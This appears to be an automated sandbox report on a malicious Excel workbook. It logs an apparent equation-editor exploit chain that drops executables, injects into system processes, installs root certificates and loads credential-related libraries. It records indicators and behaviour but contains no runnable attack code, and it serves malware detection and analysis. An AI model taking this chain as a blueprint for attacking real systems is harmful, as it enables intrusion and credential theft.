Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E1EC49 8_2_61E1EC49
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E1DC2C 8_2_61E1DC2C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E25C1C 8_2_61E25C1C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E4FEA8 8_2_61E4FEA8
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\sqlite3.dll A15FD84EE61B54C92BB099DFB78226548F43D550C67FB6ADF4CCE3D064AB1C14
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00ABE2A8 appears 60 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00B2F970 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00B03F92 appears 132 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00ABDF5C appears 137 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 00B0373B appears 253 times
Source: C:\Users\user\AppData\Roaming\word.exe Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\AppData\Roaming\word.exe Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\AppData\Roaming\word.exe Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\AppData\Roaming\word.exe Code function: String function: 0040E6D0 appears 35 times
PE file contains more sections than normal
Source: sqlite3.dll.8.dr Static PE information: Number of sections : 18 > 10
Searches the installation path of Mozilla Firefox
Source: C:\Windows\SysWOW64\msinfo32.exe Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory Jump to behavior
Yara signature match
Source: sheet1.xml, type: SAMPLE Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/10@6/5
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0044AF5C GetLastError,FormatMessageW, 5_2_0044AF5C
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle, 5_2_00464422
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState, 5_2_004364AA
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode, 5_2_0045D517
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle, 5_2_0043701F
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket, 5_2_0047A999
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx, 5_2_0043614F
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$IND24072113_1.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC32F.tmp Jump to behavior
Source: IND24072113_1.xlsx OLE indicator, Workbook stream: true
Source: C:\Users\user\AppData\Roaming\word.exe Command line argument: x./ 5_2_0040D7F0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: msinfo32.exe, 00000008.00000002.672732222.0000000061EB5000.00000002.00000001.01000000.00000008.sdmp, sqlite3.dll.8.dr Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: IND24072113_1.xlsx Virustotal: Detection: 53%
Source: IND24072113_1.xlsx ReversingLabs: Detection: 71%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe
Source: C:\Users\user\AppData\Roaming\word.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Users\user\AppData\Roaming\word.exe
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe"
Source: C:\Windows\SysWOW64\msinfo32.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Users\user\AppData\Roaming\word.exe Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: credssp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ncrypt.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: bcrypt.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: mfc42u.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: odbc32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: wdscore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: riched32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Windows\SysWOW64\RichEd32.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: IND24072113_1.xlsx Static file information: File size 1976678 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: msinfo32.pdb source: svchost.exe, 00000006.00000003.529880228.00000000009B9000.00000004.00000020.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.670713635.00000000003FB000.00000004.00000001.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000003.523531123.00000000003D5000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: msinfo32.pdb@ source: svchost.exe, 00000006.00000003.529880228.00000000009B9000.00000004.00000020.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.670713635.00000000003FB000.00000004.00000001.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000003.523531123.00000000003D5000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XAgFxCrXhYKjE.exe, 00000007.00000000.520856687.00000000008CE000.00000002.00000001.01000000.00000005.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000002.670905465.00000000008CE000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: wntdll.pdb source: word.exe, 00000005.00000003.465086662.0000000003C30000.00000004.00001000.00020000.00000000.sdmp, word.exe, 00000005.00000003.464337661.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000006.00000002.536511080.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.536511080.0000000000AA0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.518776384.0000000000230000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.519099529.0000000000460000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000002.671151712.0000000002190000.00000040.00001000.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000003.537338754.0000000001D20000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000003.537635285.0000000001E80000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000002.671151712.0000000002010000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: svchost.pdb source: msinfo32.exe, 00000008.00000002.671662614.00000000028BC000.00000004.10000000.00040000.00000000.sdmp, msinfo32.exe, 00000008.00000002.670668972.0000000000246000.00000004.00000020.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000000.550091041.0000000002C6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.596824366.00000000015FC000.00000004.80000000.00040000.00000000.sdmp
Source: IND24072113_1.xlsx Initial sample: OLE indicators vbamacros = False
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040EB70 LoadLibraryA,GetProcAddress, 5_2_0040EB70
PE file contains an invalid checksum
Source: kontempt2.1[1].exe.2.dr Static PE information: real checksum: 0xa2135 should be: 0x14f6f3
Source: word.exe.2.dr Static PE information: real checksum: 0xa2135 should be: 0x14f6f3
PE file contains sections with non-standard names
Source: sqlite3.dll.8.dr Static PE information: section name: /4
Source: sqlite3.dll.8.dr Static PE information: section name: /19
Source: sqlite3.dll.8.dr Static PE information: section name: /31
Source: sqlite3.dll.8.dr Static PE information: section name: /45
Source: sqlite3.dll.8.dr Static PE information: section name: /57
Source: sqlite3.dll.8.dr Static PE information: section name: /70
Source: sqlite3.dll.8.dr Static PE information: section name: /81
Source: sqlite3.dll.8.dr Static PE information: section name: /92
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004171D1 push ecx; ret 5_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0040D079 push eax; retf 6_2_0040D086
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004140CE push ds; ret 6_2_004140CF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0041EA53 push ebx; retf 6_2_0041EAAA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00408263 push ebp; iretd 6_2_004082AE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004122CA push 845B296Ch; iretd 6_2_004122D2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0040AA85 push ds; ret 6_2_0040AB14
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004082AF push ebp; iretd 6_2_004082AE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0040AAB4 push ds; ret 6_2_0040AB14
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00403300 push eax; ret 6_2_00403302
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00411B09 push eax; ret 6_2_00411B0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00408384 push ebx; iretd 6_2_00408387
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0041ABAC push edx; retf 6_2_0041ABAD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_0041F463 push edi; retf 6_2_0041F46E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00418CDB push cs; ret 6_2_00418CE1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00417CEF push FFFFFFBBh; retf 6_2_00417CF2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004165CF push esi; iretd 6_2_0041665E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00416612 push esi; iretd 6_2_0041665E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_004236DA push ebx; iretd 6_2_004236DB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00ABDFA1 push ecx; ret 6_2_00ABDFB4

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Windows\SysWOW64\msinfo32.exe File created: C:\Users\user\AppData\Local\Temp\sqlite3.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\word.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\kontempt2.1[1].exe Jump to dropped file
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 5_2_004772DE
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput, 5_2_004375B0
Stores large binary data to the registry
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
